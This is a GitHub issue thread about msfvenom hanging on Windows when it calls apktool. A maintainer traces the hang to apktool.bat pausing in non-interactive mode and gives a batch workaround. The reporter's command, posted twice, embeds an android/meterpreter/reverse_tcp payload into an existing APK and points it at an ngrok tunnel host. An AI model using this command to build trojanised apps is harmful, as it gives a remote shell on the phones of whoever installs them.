Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

msfvenom on Windows hangs using apktool #543

Open
Samshow-cyber opened this issue Feb 24, 2022 · 17 comments
Open

msfvenom on Windows hangs using apktool #543

Samshow-cyber opened this issue Feb 24, 2022 · 17 comments

Comments

@Samshow-cyber
Copy link

Hello, someone should please help me out! I want to create a payload on my command prompt. I entered:

C:\users\USER\Downloads>msfvenom -× mymtnapp.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=(port number) -o /users/USER/Desktop/mycreation.apk

I got an error message saying: apktool not found........

Why is this happening?

Originally posted by @Samshow-cyber in rapid7/metasploit-framework#11024 (comment)

@bcoles
Copy link
Contributor

bcoles commented Feb 24, 2022

msfvenom requires apktool to modify APK files. apktool must be in your PATH.

@Samshow-cyber
Copy link
Author

@bcoles How can I make the apktool be in my path?

@Samshow-cyber
Copy link
Author

Please explain what to do

@bcoles
Copy link
Contributor

bcoles commented Feb 24, 2022

@Samshow-cyber
Copy link
Author

So do you mean I will download the apktool on my system?

@Samshow-cyber
Copy link
Author

@bcoles I solved the apktool issue after making some researches. But I have another issue ongoing.

I'm trying to add payload to an apk file. I followed the normal command format and processed the command in the CMD. This is what I got:

Using apk template: theapk.apk
[-] No platform was selected, choosing Msf::module::platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from payload

And after that, nothing more... the command prompt it still processing (still blinking the white dash)

Please why is this happening? Please help!

@bcoles
Copy link
Contributor

bcoles commented Feb 24, 2022

I'm trying to add payload to an apk file. I followed the normal command format and processed the command in the CMD. This is what I got:

what command did you use

@Samshow-cyber
Copy link
Author

I used this:

C:\users\USER\Desktop>msfvenom -× mymtnapp.apk -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=(port number) -o /users/USER/Desktop/mycreation.apk

@Samshow-cyber
Copy link
Author

20220225_005808
This is a picture... it has been there for about 1hr ago

@Samshow-cyber
Copy link
Author

@bcoles @adfoster-r7 what do you think happened?

@Samshow-cyber
Copy link
Author

@bcoles I'm seriously waiting on your response please

@bcoles
Copy link
Contributor

bcoles commented Feb 26, 2022

@bcoles I solved the apktool issue after making some researches. But I have another issue ongoing.

I'm trying to add payload to an apk file. I followed the normal command format and processed the command in the CMD. This is what I got:

Using apk template: theapk.apk
[-] No platform was selected, choosing Msf::module::platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from payload

And after that, nothing more... the command prompt it still processing (still blinking the white dash)

Please why is this happening? Please help!

Freezes for me too. Tested on Windows 11. Pressing ctrl+c simply prints Error:.

apktool error

It is freezing when attempting to execute apktool -version. Given that msfvenom makes multiple references to apktool (not apktool.bat I suspect msfvenom is not expected to work with apk files on Windows.

Looks like a dupe of rapid7/metasploit-framework#15219 which is a dupe of rapid7/metasploit-framework#13289.

@bcoles bcoles added bug and removed question labels Feb 27, 2022
@bcoles bcoles changed the title Hello, someone should please help me out! I want to create a payload on my command prompt. I entered: msfvenom on Windows hangs using apktool Feb 27, 2022
@bcoles
Copy link
Contributor

bcoles commented Feb 27, 2022

There's a legitimate bug here. But I'm not sure when/if it will be fixed.

As it seems you're in a hurry, the fastest approach would be to install Metasploit on a Linux system. A huge portion of users use Kali Linux. Kali is most likely the most thoroughly tested Linux system for using Metasploit.

You can install Kali in a virtual machine on Windows using VirtualBox or VMware Player.

@bcoles
Copy link
Contributor

bcoles commented Feb 27, 2022

apktool.bat for Windows pauses if run in non-interactive mode.

A simple workaround is to exit before this check, or simply remove the check:

exit
rem Pause when ran non interactively
for /f "tokens=2" %%# in ("%cmdcmdline%") do if /i "%%#" equ "/c" pause

However, I still suggest using Linux. If you do want to use Windows, you'll also have to set up jarsigner, zipalign and keytool.

@Samshow-cyber

This comment was marked as off-topic.

1 similar comment
@Samshow-cyber

This comment was marked as off-topic.

@Samshow-cyber

This comment was marked as off-topic.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants